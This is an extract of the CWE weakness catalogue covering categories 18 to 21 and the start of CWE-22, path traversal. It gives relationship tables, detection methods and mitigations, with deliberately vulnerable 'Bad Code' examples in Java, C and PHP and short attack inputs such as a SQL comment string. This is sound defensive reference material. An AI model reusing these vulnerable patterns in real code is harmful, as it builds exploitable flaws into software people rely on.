ParentOf	C	503	Byte/Object Code	699	849
ParentOf	G	657	Violation of Secure Design Principles	699	1017

**CWE-18: Source Code**

Category ID: 18 (Category)

Status: Draft

**Description****Summary**

Weaknesses in this category are typically found within source code.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	17	Code	699	17
ParentOf	C	19	Data Handling	699	18
ParentOf	G	227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ParentOf	C	254	Security Features	699	452
ParentOf	C	361	Time and State	699	626
ParentOf	C	388	Error Handling	699	669
ParentOf	G	398	Indicator of Poor Code Quality	699	684
ParentOf	C	417	Channel and Path Errors	699	722
ParentOf	C	429	Handler Errors	699	738
ParentOf	C	438	Behavioral Problems	699	752
ParentOf	C	442	Web Problems	699	755
ParentOf	C	445	User Interface Errors	699	759
ParentOf	C	452	Initialization and Cleanup Errors	699	766

Nature	Type	ID	Name	V	Page
ParentOf	C	465	Pointer Issues	699	782
ParentOf	G	485	Insufficient Encapsulation	699	819

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Source Code

## CWE-19: Data Handling

Category ID: 19 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are typically found in functionality that processes data.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	699	17
ParentOf	G	20	Improper Input Validation	699	18
ParentOf	G	116	Improper Encoding or Escaping of Output	699	217
ParentOf	G	118	Improper Access of Indexable Resource ('Range Error')	699	225
ParentOf	C	133	String Errors	699	277
ParentOf	C	136	Type Errors	699	284
ParentOf	C	137	Representation Errors	699	284
ParentOf	C	189	Numeric Errors	699	360
ParentOf	C	199	Information Management Errors	699	384
ParentOf	G	228	Improper Handling of Syntactically Invalid Structure	699	420
ParentOf	C	461	Data Structure Issues	699	778
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	699	792

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
99	XML Parser Attack	
100	Overflow Buffers	
230	XML Nested Payloads	
231	XML Oversized Payloads	
484	XML Client-Side Attack	

## CWE-20: Improper Input Validation

Weakness ID: 20 (Weakness Class) Status: Usable

### Description

#### Summary

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

#### Extended Description

When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

### Terminology Notes

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping.

Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

##### Platform Notes

#### Modes of Introduction

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

#### Common Consequences

##### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.

##### Confidentiality

**Read memory**

**Read files or directories**

An attacker could read confidential data if they are able to control resource references.

##### Integrity

**Confidentiality**

**Availability**

**Modify memory**

**Execute unauthorized code or commands**

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

#### Likelihood of Exploit

High

#### Detection Methods

##### Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

##### Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

**Fuzzing**

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Cost effective for partial coverage:

Host Application Interface Scanner

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

### Demonstrative Examples

#### Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

#### Java Example:

*Bad Code*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

#### Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

#### C Example:

*Bad Code*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

#### Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.



### PHP Example:

Bad Code

```
$birthday = $_GET['birthday'];  
$homepage = $_GET['homepage'];  
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Attack

2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism. Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

### Example 4:

This function attempts to extract a pair of numbers from a user-supplied string.

### C Example:

Bad Code

```
void parse_data(char *untrusted_input){  
    int m, n, error;  
    error = sscanf(untrusted_input, "%d:%d", &m, &n);  
    if ( EOF == error ){  
        die("Did not specify integer value. Die evil hacker!\n");  
    }  
    /* proceed assuming n and m are initialized correctly */  
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Attack

123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

### Example 5:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

### Java Example:

Bad Code

```
private void buildList ( int untrustedListSize ){  
    if ( 0 > untrustedListSize ){  
        die("Negative value supplied for list size, die evil hacker!");  
    }  
    Widget[] list = new Widget [ untrustedListSize ];  
    list[0] = new Widget();  
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

### Example 6:

This application has registered to handle a URL when sent an intent:



**Java Example:**

*Bad Code*

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

**Observed Examples**

Reference	Description
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read
CVE-2006-5462	use of extra data in a signature allows certificate signature forging
CVE-2006-5525	incomplete blacklist allows SQL injection
CVE-2006-6658	request with missing parameters leads to information exposure
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself
CVE-2007-2442	zero-length input causes free of uninitialized pointer
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself
CVE-2007-5893	HTTP request with missing protocol version number leads to crash
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it
CVE-2008-1284	NUL byte in theme name cause directory traversal impact to be worse
CVE-2008-1303	missing parameter leads to crash
CVE-2008-1440	lack of validation of length field leads to infinite loop
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution
CVE-2008-1737	anti-virus product allows DoS via zero-length field
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution
CVE-2008-2309	product uses a blacklist to identify potentially dangerous content, allowing attacker to bypass a warning
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read
CVE-2008-3174	driver in security product allows code execution due to insufficient validation
CVE-2008-3177	zero-length attachment causes crash
CVE-2008-3464	driver does not validate input from userland to the kernel
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
CVE-2008-3494	security bypass via an extra header
CVE-2008-3571	empty packet triggers reboot
CVE-2008-3660	crash via multiple "." characters in file extension
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference
CVE-2008-3812	router crashes with a malformed packet
CVE-2008-3843	insufficient validation enables XSS
CVE-2008-4114	system crash with offset value that is inconsistent with packet size
CVE-2008-5285	infinite loop from a long SMTP request
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers.
CVE-2008-5563	crash via a malformed frame structure

**Potential Mitigations**

**Architecture and Design**  
**Input Validation**  
**Libraries or Frameworks**

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

**Architecture and Design**  
**Implementation**

**Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

**Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Implementation**

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

### Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

### Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

### Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

### Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		19	Data Handling	699	18
CanPrecede		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1000	30
CanPrecede		41	Improper Resolution of Path Equivalence	1000	73
CanPrecede		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1000	113
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	734	1132
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	1134
ChildOf		746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	1136
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	1137
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	750	1142
ChildOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1313
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable	888	1391
ParentOf		15	External Control of System or Configuration Setting	700	14
ParentOf		21	Pathname Traversal and Equivalence Errors	699	29
ParentOf		73	External Control of File Name or Path	699	109
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	700	117

Nature	Type	ID	Name	V	Page
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	700	131
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	700	159
ParentOf	B	99	Improper Control of Resource Identifiers ('Resource Injection')	700	190
ParentOf	C	100	Technology-Specific Input Validation Problems	699	192
ParentOf	V	102	Struts: Duplicate Validation Forms	700	193
ParentOf	V	103	Struts: Incomplete validate() Method Definition	700	194
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	700	196
ParentOf	V	105	Struts: Form Field Without Validator	700	198
				1000	
ParentOf	V	106	Struts: Plug-in Framework not in Use	700	200
				1000	
ParentOf	V	107	Struts: Unused Validation Form	700	202
ParentOf	V	108	Struts: Unvalidated Action Form	700	204
				1000	
ParentOf	V	109	Struts: Validator Turned Off	700	205
				1000	
ParentOf	V	110	Struts: Validator Without Form Field	700	206
ParentOf	B	111	Direct Use of Unsafe JNI	699	208
				700	
ParentOf	B	112	Missing XML Validation	699	210
				700	
				1000	
ParentOf	B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	700	211
ParentOf	B	114	Process Control	699	215
				700	
				1000	
ParentOf	B	117	Improper Output Neutralization for Logs	700	223
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699	226
				700	
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	700	234
ParentOf	B	129	Improper Validation of Array Index	699	258
				1000	
ParentOf	B	134	Uncontrolled Format String	700	277
ParentOf	B	170	Improper Null Termination	700	328
ParentOf	B	190	Integer Overflow or Wraparound	700	361
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	700	783
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	699	789
				700	
ParentOf	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	699	891
				1000	
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	699	942
ParentOf	B	606	Unchecked Input for Loop Condition	699	953
				1000	
ParentOf	V	622	Improper Validation of Function Hook Arguments	699	970
				1000	
ParentOf	V	626	Null Byte Interaction Error (Poison Null Byte)	699	974
				1000	
MemberOf	V	635	Weaknesses Used by NVD	635	983
ParentOf	∞	680	Integer Overflow to Buffer Overflow	1000	1057
ParentOf	∞	690	Unchecked Return Value to NULL Pointer Dereference	1000	1071
ParentOf	∞	692	Incomplete Blacklist to Cross-Site Scripting	1000	1073
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081

Nature	Type	ID	Name	V	Page
ParentOf	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	699 1000	1197
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	699 700	1204
ParentOf	V	789	Uncontrolled Memory Allocation	1000	1211

### Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Research Gaps

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	INT06-C		Use strtol() or a related function to convert a string token to an integer
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
CERT C Secure Coding	MSC08-C		Library functions should validate their parameters
WASC	20		Improper Input Handling
CERT C++ Secure Coding	INT06-CPP		Use strtol() or a related function to convert a string token to an integer
CERT C++ Secure Coding	MEM10-CPP		Define and use a pointer validation function
CERT C++ Secure Coding	MSC08-CPP		Functions should validate their parameters
Software Fault Patterns	SFP25		Tainted input to variable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
7	Blind SQL Injection	
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
13	Subverting Environment Variable Values	
14	Client-side Injection-induced Buffer Overflow	
18	Embedding Scripts in Non-Script Elements	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
24	Filter Failure through Buffer Overflow	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
28	Fuzzing	
31	Accessing/Intercepting/Modifying HTTP Cookies	
32	Embedding Scripts in HTTP Query Strings	
42	MIME Conversion	
43	Exploiting Multiple Input Interpretation Layers	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
63	Simple Script Injection	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
66	SQL Injection	
67	String Format Overflow in syslog()	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
73	User-Controlled Filename	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
81	Web Logs Tampering	
83	XPath Injection	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
88	OS Command Injection	
91	XSS in IMG Tags	
99	XML Parser Attack	
101	Server Side Include (SSI) Injection	
104	Cross Zone Scripting	
106	Cross Site Scripting through Log Files	
108	Command Line Execution through SQL Injection	
109	Object Relational Mapping Injection	
110	SQL Injection through SOAP Parameter Tampering	
135	Format String Injection	
136	LDAP Injection	
139	Relative Path Traversal	
171	Variable Manipulation	
182	Flash Injection	
199	Cross-Site Scripting Using Alternate Syntax	
230	XML Nested Payloads	
231	XML Oversized Payloads	
244	Cross-Site Scripting via Encoded URI Schemes	
250	XML Injection	
264	Environment Variable Manipulation	
265	Global variable manipulation	
267	Leverage Alternate Encoding	
473	Signature Spoof	
484	XML Client-Side Attack	

## References

Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. < <http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.



Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. < <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html> >.

Kevin Beaver. "The importance of input validation". 2006-09-06. < [http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92\\_gci1214373,00.html](http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html) >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft. 2002.

### Maintenance Notes

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

## CWE-21: Pathname Traversal and Equivalence Errors

Category ID: 21 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category can be used to access files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence).

#### Extended Description

Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered. The manipulations generally involve special characters or sequences in pathnames, or the use of alternate references or channels.

### Applicable Platforms

#### Languages

- All

### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.






When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	699	18
ParentOf		22	<i>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</i>	699	30
ParentOf		41	<i>Improper Resolution of Path Equivalence</i>	699	73
ParentOf		59	<i>Improper Link Resolution Before File Access ('Link Following')</i>	699	91
ParentOf		66	<i>Improper Handling of File Names that Identify Virtual Resources</i>	699	101

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Pathname Traversal and Equivalence Errors

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

## CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22 (Weakness Class)

Status: Draft

**Description****Summary**

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

### Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as "." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

### Alternate Terms

**Directory traversal**

**Path traversal**

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

### Terminology Notes

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of "." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the \*effect\* of directory traversal, but some people may not call it such, since it doesn't involve "." or equivalent.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

**Languages**

- Language-independent

### Common Consequences

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

**Integrity**

**Modify files or directories**

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

**Confidentiality**

**Read files or directories**

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

**Availability****DoS: crash / exit / restart**

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

**Likelihood of Exploit**

High to Very High

**Detection Methods****Automated Static Analysis****High**

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

**Manual Static Analysis****High**

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

